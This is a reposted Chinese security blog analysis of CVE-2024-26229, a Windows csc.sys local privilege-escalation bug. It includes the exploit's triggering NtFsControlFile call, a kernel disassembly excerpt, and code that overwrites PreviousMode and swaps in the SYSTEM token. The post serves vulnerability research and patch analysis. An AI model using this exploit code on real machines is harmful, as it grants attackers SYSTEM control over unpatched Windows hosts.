微软标为堆溢出,实际情况是这样吗?
分析发现漏洞存在于是csc.sys驱动的CscDevFcbXXXControlFile函数中,由于该函数未对传入的地址进行正确的校验从而导致了攻击者能够将PreviousMode置为0,从而获得了任意地址写的原语,之后通过token替换即可实现提权。
攻击者通过CSC_DEV_FCB_XXX_CONTROL_FILE触发漏洞函数,通过传入Curthread – 0x18 +Previousmode的偏移的地址,将PreviousMode置0
status = NtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0);
fffff801`2dd89f5f 4c8b154257fdff mov r10, qword ptr [csc!__imp_RxFinalizeConnection (fffff8012dd5f6a8)]
fffff801`2dd89f66 e865b9f5ff call rdbss!RxFinalizeConnection (fffff8012dce58d0)
fffff801`2dd89f6b 8bf8 mov edi, eax
fffff801`2dd89f6d eb1b jmp csc!CscDevFcbXXXControlFile+0x17a (fffff8012dd89f8a)
fffff801`2dd89f6f 488b8318020000 mov rax, qword ptr [rbx+218h]
fffff801`2dd89f76 8bfe mov edi, esi
fffff801`2dd89f78 4889b3b8000000 mov qword ptr [rbx+0B8h], rsi
fffff801`2dd89f7f 48897018 mov qword ptr [rax+18h], rsi // <= set previousmode to zero
fffff801`2dd89f83 eb05 jmp csc!CscDevFcbXXXControlFile+0x17a (fffff8012dd89f8a)
fffff801`2dd89f85 bf0d0000c0 mov edi, 0C000000Dh
fffff801`2dd89f8a 488b0d6fd0fcff mov rcx, qword ptr [csc!WPP_GLOBAL_Control (fffff8012dd57000)]
fffff801`2dd89f91 493bcf cmp rcx, r15
之后通过任意地址写实现token替换和PreviousMode恢复,从而实现提权
NTSTATUS Write64(_In_ uintptr_t *Dst, _In_ uintptr_t *Src, _In_ size_t Size)
{
NTSTATUS Status = 0;
size_t cbNumOfBytesWrite = 0;
Status = NtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, &cbNumOfBytesWrite);
if (!NT_SUCCESS(Status))
{
return -1;
}
return Status;
}
Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);
Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);
Csc.sys Patch之后添加了对传入地址的校验
原文始发于微信公众号(3072):CVE-2024-26229 24年最优雅的提权漏洞?
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论